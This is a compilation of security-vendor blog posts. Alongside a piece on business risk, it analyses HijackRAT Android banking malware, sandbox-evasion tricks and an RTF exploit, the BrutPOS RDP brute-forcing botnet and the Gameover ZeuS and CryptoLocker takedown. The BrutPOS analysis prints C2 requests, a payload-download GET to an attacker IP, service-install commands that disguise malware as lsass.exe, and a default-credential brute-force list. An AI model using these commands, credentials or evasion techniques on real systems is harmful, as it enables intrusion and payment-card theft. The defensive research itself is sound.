But where should you start? I’ve found that the best place to start is by looking at the processes in the business that generates value. These are the parts of the business that a results-oriented manager will want to protect from threat. By describing security risks in terms of how critical business processes – and their subsequent value generation – could be disrupted, your concern will resonate better with management. Consider the total business value that process generates today – is it 15 percent of the business or 85 percent? Give it a dollar figure. Given your assessment of the likely threat actors and security risks, how much of that value could be destroyed? This is a simple measure of the possible direct or immediate loss that could be experienced – something management are often measured and rewarded on.

Next you can look at knock-on impacts – this too helps speak to the management incentives. If the security risk manifests and creates a specific and significant business impact, would the market, regulators or customers notice? Would the stock price of the company drop as a result? Most business leaders will have a significant and direct interest in market valuation as their remuneration is often closely linked to the company’s stock market performance. Similarly, ask what is the business impact if a security failure leads to a loss of customers, of transaction volume, or increased regulatory scrutiny? Could you face a class action suit?

Sometimes the link between the business value generated and the technology underpinning it is a little hazy, but any modern business process that creates value will leverage and create data. It might be your customer data, the “secret sauce” of your products, a manufacturing capability that ensures your product has the best quality, the output from your R&D team, or perhaps it’s the plans for your next new business. Whatever this data is, and how you depend on it in your business, ensuring it is protected from threats is the difference between success and failure for many companies. Often this data is what the attacker is after. From a business perspective, the reliance on this data to operate the business effectively is how you connect the security risk to the business risk.

What are the most important assets and data in your business that create real value? This is very specific to every business. Think like an attacker: if you were to attack your business, what information would you steal, and why? What could you monetize, use to gain economic advantage, or gain market share? You can assess the value of that asset to your company in terms of potential losses from the dependent business processes, and the value of that asset to an attacker. Then determine how much you should invest to protect against the risks from cybersecurity threats. By going through the process of understanding how data and IT assets are part of the value creation in your business, you actually create the story to help understand the business risk, because you construct the discussion starting from the business process first.

Sometimes the most valuable thing you have is access to your customers. If your customers are large companies, this might make you a springboard to attack a smaller company – and likewise for a larger company your greatest security risks could be exposure to the less security aware vendors in your operations and supply chain. Make sure to consider these scenarios when talking to your business. As larger organizations consider the risks in their supply chain, they will increasingly consider security requirements in MSAs and demand not just compliance but demonstrable security capabilities in their business partners. It is a logical extension of risk management thinking to consider the broader supply chain risks as part of overall business risk management, and this will drive many smaller businesses to invest in improved security capabilities.

More than half the organizations we surveyed do not regularly assess their information security investments in terms of their value relative to the business process they protect. My recommendation is to re-evaluate your investment plan annually, and ensure that your continued security investments are relevant to the threats your business faces. You might also consider using a risk framework like ISO27005 as a tool to help you manage this in a consistent way, to prioritize risks and corresponding investments.

To summarize: understand how and where your business makes its money, illustrate the dependency on technology and data, then explain security risks in terms of the business impact.

In the second part of this series, Greg will discuss how to measure the economic value of your cybersecurity solutions.

The Service You Can’t Refuse: A Secluded HijackRAT

In Android world, sometimes you can’t stop malware from “serving” you, especially when the “service” is actually a malicious Android class running in the background and controlled by a remote access tool (RAT). Recently, FireEye mobile security researchers have discovered such a malware that pretends to be a “Google Service Framework” and kills an anti-virus application as well as takes other malicious actions.

In the past, we’ve seen Android malware that execute privacy leakage, banking credential theft, or remote access separately, but this sample takes Android malware to a new level by combining all of those activities into one app. In addition, we found the hacker has designed a framework to conduct bank hijacking and is actively developing towards this goal. We suspect in the near future there will be a batch of bank hijacking malware once the framework is completed. Right now, eight Korean banks are recognized by the attacker, yet the hacker can quickly expand to new banks with just 30 minutes of work.

Although the IP addresses we have captured don’t reveal who the attacker is, as the computer of the IP might be a victim as well, we have found from the UI that both the malware developer and the victims are Korean speakers.

Fig. 1. The structure of the HijackRAT malware.

Fig. 1. The structure of the HijackRAT malware.

The package name of this new RAT malware is “com.ll” and appears as “Google Service Framework” with the default Android icon. Android users can’t remove the app unless they deactivate its administrative privileges in “Settings.” So far, the Virus Total score of the sample is only five positive detections out of 54 AV vendors [1]. Such new malware is published quickly partly because the CNC server, which the hacker uses, changes so rapidly.

Fig. 2. The Virus Total detection of the malware sample. [1]

Fig. 2. The Virus Total detection of the malware sample. [1]

 

Fig. 3. The fake “Google Service Framework” icon in home screen.

Fig. 3. The fake “Google Service Framework” icon in home screen.

A few seconds after the malicious app is installed, the “Google Services” icon appears on the home screen. When the icon is clicked, the app asks for administrative privilege. Once activated, the uninstallation option is disabled and a new service named “GS” is started as shown below. The icon will show “App isn’t installed.” when the user tries to click it again and removes itself from the home screen.

Fig. 4. The background service of the malware.

Fig. 4. The background service of the malware.

The malware has plenty of malicious actions, which the RAT can command, as shown below.

8commands

Within a few minutes, the app connects with the CNC server and begins to receive a task list from it:

get

The content is encoded by Base64 RFC 2045. It is a JSONObject with content: {“task”: {“0″: 0}}, when decoded. The server IP, 103.228.65.101, is located in Hong Kong. We cannot tell if it’s the hacker’s IP or a victim IP controlled by the RAT, but the URL is named after the device ID and the UUID generated by the CNC server.

The code below shows how the URL of the HTTP GET request is constructed:

code-get

- “UPLOAD PRIVACY DETAILS”

The task list shown above will trigger the first malicious action of “Upload Phone Detail.” When executed, the user’s private information will be uploaded to the server using HTTP POST request. The information contains phone number, device ID, and contact lists as shown below in the network packet of the request:

post

When decoded, the content in the red and blue part of the PCap are shown below respectively:

1. The red part:

post-pcap-decrypt1

2. The blue part:

post-pcap-decrypt2

The contact list shown above is already highly sensitive, yet, if the user has installed some banking applications, the malware will scan for them too.

In a testing device, we installed the eight Korean bank apps as shown below:

Fig. 5. The eight banking apps.

Fig. 5. The eight banking apps.

When this was done,  we found the value of “banklist” in the PCap is no longer listed as N/A anymore:

8banks-pcap

The “banklist” entry in the PCap is filled with the short names of the banks that we installed. There is a map of the short names and package names of the eight banking apps installed on the phone:

table

The map of the banks is stored in a database and used in another malicious action controlled by the CNC server too.

- “POP WINDOW”

In this malicious action, the CNC server sends a command to replace the existing bank apps. The eight banking apps require the installation of “com.ahnlab.v3mobileplus,” which is a popular anti-virus application available on Google Play. In order evade any detections, the malware kills the anti-virus application before manipulating the bank apps. In the code as shown below, Conf.LV is the “com.ahnlab.v3mobileplus” being killed.

killav

Then, the malware app parses the banking apps that the user has installed on the Android device and stores them in the database under /data/data/com.ll/database/simple_pref. The red block below shows the bank list stored in the database:

db8banks

Once the corresponding command is sent from the RAT, the resolvePopWindow() method will be called and the device will pop a Window with the message: “The new version has been released. Please use after reinstallation.”

code-popwindow

The malware will then try to download an app, named after “update” and the bank’s short name from the CNC server, simultaneously uninstalling the real, original bank app.

code-install

In the code shown above, “mpath” contains the CNC server IP (103.228.65.101) and path (determined by the RAT); “mbkname” is the bank name retrieved from the SQL lite database. The fake APK (e.g. “updateBH.apk”) is downloaded from the CNC server, however we don’t know what the fake apps look like because during the research the command for this malicious action was not executed from the RAT. Yet the source of the “update*.apk” is definitely not certified by the banks and might be harmful to the Android user.

- “UPDATE”

When the command to “update” is sent from the RAT, a similar app – “update.apk” is downloaded from the CNC server and installed in the Android phone:

code-update

- “UPLOAD SMS”

When the command to upload SMS is received from the RAT, the SMS of the Android phone will be uploaded to the CNC server. The SMS has been stored in the database once received:

code-uploadsms

code-savesms

Then the SMS is read from the database and uploaded to the CNC server once the command is received:

code-uploadsmscnc

- “SEND SMS”

Similarly, when the sending SMS command is received, the contact list is sent through SMS.

code-sendsms

- “BANK HIJACK”

Interesting enough, we found a partially finished method called “Bank Hijack.” The code below partially shows how the BankHijack method works. The malware reads the short bank name, e.g. “NH”, and then keeps installing the updateNH.apk from the CNC server until it’s of the newest version.

code-hijack

So far the part after the installation of the fake app is not finished yet. We believe the hacker is having some problems finishing the function temporarily.

code-hijack-half

As shown above, the hacker has designed and prepared for the framework of a more malicious command from the CNC server once the hijack methods are finished. Given the unique nature of how this app works, including its ability to pull down multiple levels of personal information and impersonate banking apps, a more robust mobile banking threat could be on the horizon.

REFERENCE

__________________________________________________

[1] https://www.virustotal.com/intelligence

 

 

 

 

Key Themes From the 2014 Gartner Security Summit

Last week, Gartner held its security summit in Washington, DC.  A few key themes bubbled to the top during the course of the conference.

Theme #1:  Security needs a new architecture
Security architecture requirements will change radically in the coming years.  Basically, security will move to a “detect and respond” approach.  This was best summarized by one article that covered the conference explaining how vendors are evolving:

[Gartner analyst Neil] MacDonald noted that the need for adaptive security architectures has triggered a land-grab among vendors, large and small, trying to expand their reach, with many rapidly transforming as investors pour money into startups and acquisitions.

FireEye Inc. is at the top of the list, MacDonald said, not only with its January acquisition of Mandiant, but also recently by adding integrated, low-cost IPS capabilities to its threat prevention platform.

Theme #2:  Mobile security
Many CISOs expressed mobile security and BYOD as a key area of concern.  In one session, mobile application security was mentioned as a key approach to leverage.  To succeed, enterprises should evaluate applications by:

  • Testing application source code
  • Testing application behavior
  • Testing communications between the app and web services
  • Automatically submitting apps for testing.
  • Knowing app risk/reputation—using scores
  • Combining and correlating detection with protection.

Theme #3:  Incident Response is a core discipline
Under a security paradigm of detect and respond—the importance of incident response has become critical.  In one session, analyst Anton Chuvakin laid out a step-by-step approach for incident response.  In addition, other sessions frequently alluded to the growing importance of IR.

Theme #4:  Dealing with advanced attacks
Dealing with advanced attackers was a high profile topic—with many sessions focusing on the “how-to’s” of blocking an advanced attacker.  Most notably, Lawrence Orans gave a talk on the “Five Styles of Stopping Advanced Attacks.”  He started the talk stating that “Traditional defense-in-depth components are still necessary, but no longer sufficient.”  His framework recommends five styles of advanced threat defense that include:

  • Network traffic analysis
  • Payload Analysis
  • Endpoint behavior analysis
  • Network forensics
  • Endpoint forensics

The conference highlighted a security industry experience in a great deal of flux with the onset of advanced attacks, mobility and more.  At the same time, customers want things delivered via the cloud—all the while hoping for a centralized view and management capability.  As always, security is changing and evolving—but this year was a little different.  General consensus was that few knew where threats were going—but customers want a security architecture that can deal with today’s threats while adapting to ones we haven’t seen yet.

 

Turing Test in Reverse: New Sandbox-Evasion Techniques Seek Human Interaction

Last year, we published a paper titled Hot Knives Through Butter, Evading File-Based Sandboxes.  In this paper, we explained many sandbox evasion methods–and today’s blog post adds to our growing catalog.

In the past, for example, we detailed the inner workings of a Trojan we dubbed UpClicker. The malware was notable for a then-novel technique to evade automated dynamic analysis systems (better known as sandboxes). UpClicker activates only when the left mouse button is clicked and released — a sign that it is running on a real, live, human-controlled PC rather than within an automated sandbox.

If the malware determines it is running in a sandbox, it lies dormant so that the sandbox doesn’t observe any suspicious behavior. Once the sandbox incorrectly clears it as a benign file, UpClicker goes on to a real computer to do its dirty work.

Last year, our colleague Rong Hwa shared the technical details of another sandbox-detecting Trojan called  BaneChant. Like UpClicker, BaneChant uses human interaction to ascertain whether it is running in a virtual-machine environment, activating only after it detects more than three left clicks.

Since then, we’ve seen a spate of new malware that pushes the concept further. The newest sandbox-evading malware counters recent efforts to mimic human behavior in sandbox environments.

This blog post describes three tactics that FireEye has discovered in recent attacks.

Sandbox evasion: a primer

Most sandbox-evasion techniques fall into one of three categories:

Human interaction. This category includes malware that requires certain actions on the user’s part (a sign that the malicious code is running on a real-live PC rather than within an automated sandbox).

Configuration specific. Malware in this category takes advantage of the inherent constraints of file-based sandboxes. For example, knowing that a sandbox can spend, say, five minutes running suspicious code for analysis, malware creators can create code that automatically lies dormant for a longer period. If the code is still running after that, it’s probably not in a sandbox.

Environment specific. In this category, malware checks for telltale signs that its code is running in widely used VM environments. It checks for obscure files unique to VMware, for instance, or VM-specific hardware drivers.

The first category of sandbox evasion is one of the trickiest to counter. To fool sandbox-detecting malware, some vendors now simulate mouse movement and clicks in their virtual-machine environments to mimic human activity. But malware authors are upping the ante with even more sophisticated sandbox detection and evasion techniques.

To scroll is human

One malware we discovered lies dormant until the user scrolls to the second page of a Rich Text Format (RTF) document. So simulating human interaction with random or preprogrammed mouse movements isn’t enough to activate its malicious behavior.

Here’s how it works:

RTF documents consist of normal text, control words, and groups. Microsoft’s RTF specification includes a shape-drawing function, which includes a series of properties using the following syntax:

{\sp {\sn propertyName } {\sv propertyValueInformation}}

In this code, \sp is the control word for the drawing property, \sn is the property name, and \sv contains information about the property value. The code snippet in Figure 1 exploits a vulnerability that occurs when using an invalid \sv value for the pFragments shape property.

turing1

Figure 1: Code exploiting vulnerability in the RTF pFragments property

A closer look at the exploit code reveals a series of paragraph marks (./par) that appears before the exploit code.

turing2

Figure 2: A series of \.par (paragraph marks) that appears before the exploit code

The repeated paragraph marks push the exploit code to the second page of the RTF document. So the malicious code does not execute unless the document scrolls down to bring the exploit code up into the active window—more likely a deliberate act by a human user than simulated movement in a virtual machine.

When the RTF is scrolled down to the second page, then only the exploit code triggers, and  as shown in Figure 3.0, it makes a call to  URLDownloadToFileA function from the shell code to download an executable file.

turing3

Figure 3: Exploit code

In a typical file-based sandbox, where any mouse activity is random or preprogrammed, the RTF document’s second page will never appear. So the malicious code never executes, and nothing seems amiss in the sandbox analysis.

Two clicks and you’re out

Another sandbox-evading attack we spotted in recent attacks waits for more than two mouse clicks before executing. The two-click condition aims to more accurately determine whether an actual person is operating the targeted machine—most people click mouse buttons many times throughout the day—or a one-time programmed click designed to counter evasion techniques.

Here’s how this technique works:

The malware invokes the function Get AsyncKeyState in a loop. The function checks whether any mouse buttons are clicked by looking for the parameter 0×01, 0×02, or 0×04. (The parameter 0×01 is the virtual key code for the mouse’s left button, 0×02 is the code for the right button, and 0×04 is the code of the middle button.)

The instruction “xor edi edi” sets the edi to 0. If any of the buttons is pressed, the code invokes the instruction “inc edi,” as shown in Figure 4. After that, the  instruction “cmp edi,2” checks whether the left, right or middle mouse buttons have been clicked more than two times. If so, code exits from the loop and gets to its real work. Otherwise, it stays under the radar, continuously checking for more mouse clicks.

turing4

Figure 4: Assembly code for evasion employing left, middle or right mouse clicks

Slow mouse, fast sandbox

Another recently discovered evasion technique involves checking for suspiciously fast mouse movement. To make sure an actual person is controlling the mouse or trackpad, malware code checks how quickly the cursor is moving. Superhuman speed is a telltale sign that the code is running in a sandbox.

This technique also makes use of the Windows function GetCursorPos, which retrieves the system’s cursor position. In the example malware code shown in Figure 5, GetCursorPos returns 614 for the x-axis value and 185 for the y-axis value.

turing5

Figure 5: Malware making first call to API GetCursorPos

After few instructions, malicious code again calls GetCursorPos to check whether the cursor position has changed. This time the function returns x= 1019 and y = 259, as shown in Figure 6.

turing6

Figure 6: Malware making second call to API GetCursorPos

A few instructions after the second GetCursorPos call, the malware code  invokes the instruction “SUB EDI, DWORD PTR DS:[410F15]”. As shown in the figure 5.0, the value in EDI is 0×103 (259 in decimal) and DS:[410F15] = 0xB9 (185 in decimal). The value 259 and 185 are the Y coordinates retrieved from the two GetCursorPos calls. If the difference between the two Y-coordinate measurements is not 0, then the malware terminates.

turing7

Figure 7:  Subtracting the Y coordinates to detect whether the cursor is moving too quickly to be human-controlled

In other words, if the cursor has moved between the two GetCursorPos calls (which are only a few instructions apart), then the malware concludes that the mouse movement is simulated. That’s too fast to be a real-world mouse or track pad in normal use, so the code must be running in a sandbox.

A growing challenge

Cybersecurity is a constant arms race. Simulating mouse movement and clicks is not enough to fool the most advanced sandbox-evading malware. Now malware authors are incorporating real-world behaviors into their evasion strategies.

Simulating these behaviors—the way actual people scroll documents, click the mouse button, and move the cursor— is a huge challenge for cybersecurity. Anticipating future evasion techniques might be even tougher. Expect malware authors to employ more novel techniques that look for that human touch.

In the paper “Hot Knives Through Butter: Evading File Based Sandboxes,” we’ve outlined 15 prior evasion techniques that have been used by advanced malware in real attacks to bypass file based sandboxes. We plan to continue updating the evasion series as we come across new techniques used by the latest threats and advanced malwares to bypass file based sandboxes.

Threat Research


Filter by Category:


BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

There have been an increasing number of headlines about breaches at retailers in which attackers have made off with credit card data after compromising point-of-sale (POS) terminals. However, what is not commonly discussed is the fact that one third of these breaches are a result of weak default passwords in the remote administration software that is typically installed on these systems. [1] While advanced exploits generate a lot of interest, sometimes it’s defending the simple attacks that can keep your company from the headlines.

In this report, we document a botnet that we call BrutPOS which uses thousands of compromised computers to scan specified IP address ranges for RDP servers that have weak or default passwords in an effort to locate vulnerable POS systems. [2]

BrutPOS

It is unclear exactly how the BrutPOS malware is being propagated. We have found that the malware is being distributed (along with a considerable amount of otherwise unrelated malware) by the site destre45[.]com. The attackers may have used a distribution service provided by other cybercriminals.

When executed, the malware copies itself to:

"%USERPROFILE%\%APPDATA%\llasc.exe"

It modifies the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it will be restarted after a reboot.

The malware connects to the command and control server (C2) to report its status and receives a list of usernames/passwords and IP addresses to begin scanning.

POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212

–XyEgoZ17
content-disposition: form-data; name=”data”

{ “bad” : 0, “bruting” : false, “checked” : 1, “done” : true, “errors” : 0, “good” : 0, “goodslist” : “”, “pps” : 0.0, “threads” : 5, “v” : “0.0.0″ }

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8

{“passwords”:”backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd”,”logins”:”backupexec\r\nbackup\r\ndatacard”,”servers”:”[IP ADDRESSES REDACTED]“,”botstart”:”1″,”stamp”:1308301912,”newthreads”:5,”interval”:50}

The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials. If the infected system is able to successfully brute force an RDP server, it reports back with credentials.

In total we found five C2 servers used by the BrutPOS botnet. Three of these servers are located on the same network in Russia; one of them is located in Iran. Only two of these servers remain active at this time.

C2 Country Network Status
62.109.16.195 Russia THEFIRST-NET Active
92.63.99.157 Russia THEFIRST-NET Active
78.154.54.42 Iran BSG Inactive
82.146.34.22 Russia THEFIRST-NET Inactive
62.113.208.37 Germany DE-23MEDIA Inactive

Based on the compile times of the samples we analyzed that connect to this C2 infrastructure, this botnet was active as of February 2014.

However, one of the active C2 servers was setup on May 28 and we believe that the second was setup in early June. We were able to recover information from these two C2 servers in mid-June that allowed us to gain a better understanding of this botnet.

The attackers are able to control the botnet from a web-based administration panel. This panel provides a statistical overview of the botnet.

brutpos1

The botnet had a total of 5622 compromised computers under its control, however, only a fraction of those systems are active at any given time (179 were active when we last checked). This page also displays the “current version” of the malware and if an infected system checking in reports an earlier version a new executable will be pushed down to it.

brutpos2

The attackers are able to view the details of the infected systems under their control including the IP address and geographic location as well as status of the infected systems’ brute forcing activities (bad / good / errors / threads / version) and the timestamp of the last connection to the C2. The attackers may also specify commands such as “reload” and “delete”.

Based on the IP addresses on this page, there are 5622 infected systems spread across 119 countries.

Country

Count

Percentage

Russia

881

15.67%

India

756

13.45%

Vietnam

422

7.51%

Iran

341

6.07%

Taiwan

232

4.13%

Ukraine

151

2.69%

Turkey

139

2.47%

Serbia

115

2.05%

Egypt

110

1.96%

Mexico

106

1.89%

brutpos3

This page lists the ranges of IP addresses that the attackers can specify to be scanned for RDP access and brute forced.

brutpos4

In total, the attackers specified 57 IP address ranges the majority of which (32) are located in the U.S.

brutpos5

The attackers can specify the user names and passwords that the infected systems use to brute force available RDP servers. Some of the usernames and password indicate that the attackers are looking for specific brands of POS systems (such as Micros). [3]

Usernames Passwords
admin
administrator
backup
backupexec
data
datacard
manager
micros
microssvc
pos
Admin
admin
Administrat0r
Administrator
administrator
backup
backupexec
client
client1
datacard
@dm1n
@dmin
micros
p0s
Passw0rd
Passw0rd1
Password
Pass@word
password
Password1
Pa$$w0rd1
Pa$$word
pa$$word
pos
P@ssw0rd
p@ssword
p@ssword1
p@$$w0rd

brutpos6

When an infected system reports back a successful RDP login, the attackers store the username/password and IP address of the RDP server as well as the IP address of the infected system that successfully brute forced it.

brutpos7

Of the 60 “good” RDP servers listed by the attackers the majority (51) are located in the U.S. The most common username was “administrator” (36) and the most common passwords were “pos” (12) and “Password1” (12).

Payment Card Theft

During our investigation, we discovered another executable that is potentially run on systems once credentials are obtained (e.g. 4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract payment card information stored within running processes. It has two distinct code paths depending on its ability to get debug permissions by calling RtlAdjustPrivilage(0×14,1,0…). This may be an attempt to identify a POS configuration. If it succeeds in getting debug permissions, it downloads the executable and executes it:


GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22

If the malware fails to get debug permissions, it copies itself to %WINDIR%\lsass.exe and installs itself as a service. The following script is used to create and start the service:

sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat

When running as a service, the program scans the memory of all processes with the exception of csrss.exe and conhost.exe for potential payment card information. Candidates are verified using the Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using FTP to the server 62.109.16.195.

Before connecting to the FTP server, the implant connects to smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP address from the EHLO response. winsrv.sys is uploaded to the FTP serving using a filename consisting of a capital character followed by the IP address. The capital character prefixed to the filename is initialized to ‘A’ and is incremented through ‘Z’ for each new file. If the IP address isn’t obtained from smtp[.]gmail[.]com, a random four digit number is generated.

Attribution

While there is insufficient information to determine attribution, there is some information which indicates that the attackers are in Eastern Europe, probably Russia or Ukraine. In addition to the Russian language interface, we recovered web server logs and parsed out the six IP addresses that used the administration interface.

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In both cases the “User-Agent” indicates that the requests were coming from an Alcatel mobile phone running Android:

"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also used. However, the “User-Agent” in this case was FireFox:

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

There were also connections from an IP range in Russia assigned to the network “Macroregional_South” in Volvograd.

In addition to these connections there were also connections from the U.K. and France, however, these connections were made using VPN services provided by atomintersoft.com and vpnlux.net.

Honeypot

In order to understand the attacker’s intentions, we decided to setup a Windows 2008 R2 Server with POS software and allow the attackers to compromise it. In addition to POS software, we also put documents with fake credit card information on the Desktop. By mimicking the traffic generated by the infected systems under the attackers control, we were able send a username and password combination of “micros” and “admin” to the C2. We then waited for the attackers to connect.

We saw the attackers connect to the RDP instance 27 minutes after the fake username and password combination were sent to the C2. The attackers connected from three IP addresses. One of the IP addresses was in the same Ukrainian IP address range assigned to PEOPLE-NET that we saw in the C2 logs. Another was the same VPN based in the UK, while the third was assigned to INETHN in Honduras.

After connecting, the attackers immediately opened the document containing fake credit card information, then exited the system shortly after. The second access attempt occurred 4 minutes later, with little activity. The third access occurred 18 minutes later. The attackers, on the third access, then attempted to open the POS software; which was unsuccessful. The fourth access happened two minutes later, with very little activity. The fifth and final access happened approximately 4 hours later, which led the attackers to format the drive, thus attempting to wipe data trails.

Conclusion

POS systems remain a high priority target for cybercriminals. Based on a simple scanning attack, the attackers in this case were able leverage their botnet of over 5000 machines in order to acquire access to 60 systems in two weeks.

While new malware and more advanced attacks are taking place, standard attacks against weak passwords for remote administration tools presents a significant threat.

Notes

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

2. The BrutPOS malware was initially identified in March 2014 but the full scope of the botnet was still unknown at that time. http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

3. Micros sells POS systems for the retail and hospitality industries http://www.micros.com/.

Acknowledgements

We would like to thank Josh Gomez for his help and support.

Samples

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

Operation Tovar: The Latest Attempt to Eliminate Key Botnets

Coordinated botnet disruptions have increased in pace and popularity over the last few years as more private companies work with international law enforcement agencies to combat malware infections on a grand scale. Operation Tovar, announced on June 2 2014, is the latest to make headlines. The target of the investigation, Evgeniy Mikhailovich Bogachev, was indicted by the Department of Justice and is wanted by the FBI for his role as alleged leader of the Gameover ZeuS and CryptoLocker botnets. Four other defendants were indicted using their pseudonyms. Though Bogachev’s current activities aren’t known, the Operation Tovar task force has maintained control of the botnet infrastructure and remediation efforts are ongoing.

While new malware strains are released with increasing frequency, it’s easy to forget why Gameover and CryptoLocker are worthwhile targets for takedown operations. Both offered more advanced features than their peers and typified the increasingly sophisticated cybercriminal enterprises behind botnets.

Gameover ZeuS

Since the ZeuS source code was released in 2011, several new variants have appeared in the wild. Citadel, KINS, ICE IX, and Gameover have all improved upon the basic ZeuS model by introducing new features, using better encryption, and modifying command and control (C2) communication methods.

Gameover uses a peer-to-peer (P2P) system for C2 communication. Though other P2P botnets such as Kelihos exist, Gameover is notable for its use of proxy nodes to introduce complexity into the standard P2P infrastructure. These proxy nodes are specific machines designated as relay points through which the botnet operators send commands and receive stolen information. This minimizes the number of systems that actually communicate with C2 servers. C2 commands are signed using RSA-2048 and encrypted with RC4 making it very difficult to tamper with the botnet.

Additionally, Gameover maintains a failsafe mechanism: a domain generation algorithm (DGA) that produces 1,000 domains each week. This feature enables the operators to maintain control of their botnet even if the P2P infrastructure is compromised. The DGA produces long, nonsensical strings at one of six top-level domains: .com, .net, .org, .biz, .info, and .ru that can be registered and used to send commands to the botnet.

ZeuS and all its variants are information-stealing trojans. We refer to them as banking trojans because that’s where they excel and Gameover is no exception. Gameover is able to trick the user into handing over personal information and can even defeat two-factor authentication. It accomplishes this by injecting custom code into the browser when a victim visits certain websites. Gameover’s arsenal of bank account takeover tools includes 1,500 web injections that were custom-made to target the websites of more than 700 financial institutions worldwide.

In addition to its exceptional abilities as a banking trojan, Gameover is capable of a wider variety of data theft activities. An Operation Tovar task force member, speaking to Brian Krebs on the condition of anonymity, said they have evidence of additional harvested data and that Gameover targeted proprietary information.

CryptoLocker

Not content with merely engaging in widespread banking credential and information theft, the Gameover criminal operators decided to maximize returns by infecting systems with CryptoLocker. It is a type of ransomware that encrypts the files on infected machines and then demands a ransom of hundreds of dollars in order to receive a decryption key. Typically, victims were given 72 hours to pay the ransom in bitcoins or risk losing their data.

Unwilling to miss out on any opportunity to generate revenue, the criminal operators set up a website to assist victims in paying the ransom in bitcoins. Through this website, victims could complete the transaction and track the status of their “order” – the ransom payment in exchange for the decryption key. Some victims, unwilling or unable to pay the ransom, missed the 72-hour deadline only to see the ransom demand increase fivefold.

Law enforcement officials discouraged people from paying the ransom since it would fund a criminal organization, but without back ups many victims had little choice but to pay. A US police department paid $750 for two Bitcoins as ransom after CryptoLocker was installed on a system used for police reports and booking photos. CryptoLocker encrypts files using asymmetric encryption, making use of a public and a private key. Without the private key, located on the criminals’ servers, infected files probably cannot be decrypted.

The Target

Operation Tovar’s investigation began with a server in the UK. A trail of wire transfers, money mules, criminal servers, and at least one confidential source led investigators to Bogachev. He is a Russian citizen wanted on charges of conspiracy to participate in racketeering activity, bank fraud, conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to violate the Identity Theft and Assumption Deterrence Act, aggravated identity theft, conspiracy, computer fraud, wire fraud, and money laundering. The FBI estimates the financial toll of Gameover at over $100 million and another estimate is that more than $27 million in ransom payments were made in the first two months of CryptoLocker’s distribution.

